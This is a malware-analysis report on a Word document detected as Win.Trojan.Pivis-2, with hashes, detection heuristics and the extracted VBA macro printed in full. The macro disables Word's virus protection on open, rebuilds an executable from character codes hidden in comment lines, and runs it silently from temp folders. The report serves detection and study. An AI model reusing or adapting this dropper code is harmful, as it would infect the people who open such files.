Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 37f9c61c318c488a…

MALICIOUS

Office (OLE)

217.5 KB Created: 2000-09-06 09:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 10f0f28b488941c6bfb9b833c1b9f312 SHA-1: cf5a5dcf113d7fd25e1bcfe2fb3f8e50c5be1d31 SHA-256: 37f9c61c318c488a63eb27bf32f4234c6e68fe572220f2209ef147c6e61bb621
240 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that is designed to drop and execute a file named SYSTRAYW32.EXE. The macro reconstructs the file content from concatenated characters and writes it to disk, attempting execution from C:\TEMP\SYSTRAYW32.EXE, then C:\SYSTRAYW32.EXE, and finally C:\WINNT\TEMP\S. This behavior is consistent with a trojan dropper.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19856 bytes
SHA-256: eb12ca4645ca6077e95d2282d62b049ff634d4616d94c02a834d4c6c46d3981e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Harmony"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error Resume Next

Dim Crottin_Begin As Integer
Dim Crottin_Buffer As String
Dim File As String
Dim CanardWC As Double


' on set quelques options utiles

Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.SendMailAttach = True
Options.SavePropertiesPrompt = False
Options.BackgroundSave = True

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
        
    ' on determine la 1ere ligne des caracteres ascii dans AD
    
     Crottin_Begin = 0
     Do
        Crottin_Begin = Crottin_Begin + 1
     Loop While (AD.CodeModule.Lines(Crottin_Begin, 1) <> "'meuh")
    
    Crottin_Begin = Crottin_Begin + 1
   
' on dump le fichier et on l'execute

Do
    If (AD.CodeModule.Lines(Crottin_Begin, 1) <> "") Then
        Crottin_Buffer = AD.CodeModule.Lines(Crottin_Begin, 1)
        Whatever = Right(Crottin_Buffer, Len(Crottin_Buffer) - 1)
        File = File + Chr(Whatever)
    End If
    Crottin_Begin = Crottin_Begin + 1
Loop While (AD.CodeModule.Lines(Crottin_Begin, 1) <> "'prout")

Kill "C:\TEMP\SYSTRAYW32.EXE"
Open "C:\TEMP\SYSTRAYW32.EXE" For Binary Access Write As #1
Put #1, 1, File
Close #1
CanardWC = Shell("C:\TEMP\SYSTRAYW32.EXE", vbHide)

If CanardWC = 0 Then
    
    Kill "C:\SYSTRAYW32.EXE"
    Open "C:\SYSTRAYW32.EXE" For Binary Access Write As #1
    Put #1, 1, File
    Close #1
    CanardWC = Shell("C:\SYSTRAYW32.EXE", vbHide)
        
End If

If CanardWC = 0 Then
    
    Kill "C:\WINNT\TEMP\SYSTRAYW32.EXE"
    Open "C:\WINNT\TEMP\SYSTRAYW32.EXE" For Binary Access Write As #1
    Put #1, 1, File
    Close #1
    CanardWC = Shell("C:\WINNT\TEMP\SYSTRAYW32.EXE", vbHide)
        
End If


BABAILLE:

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ActiveDocument.Saved = True


End Sub

'meuh

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... (truncated)

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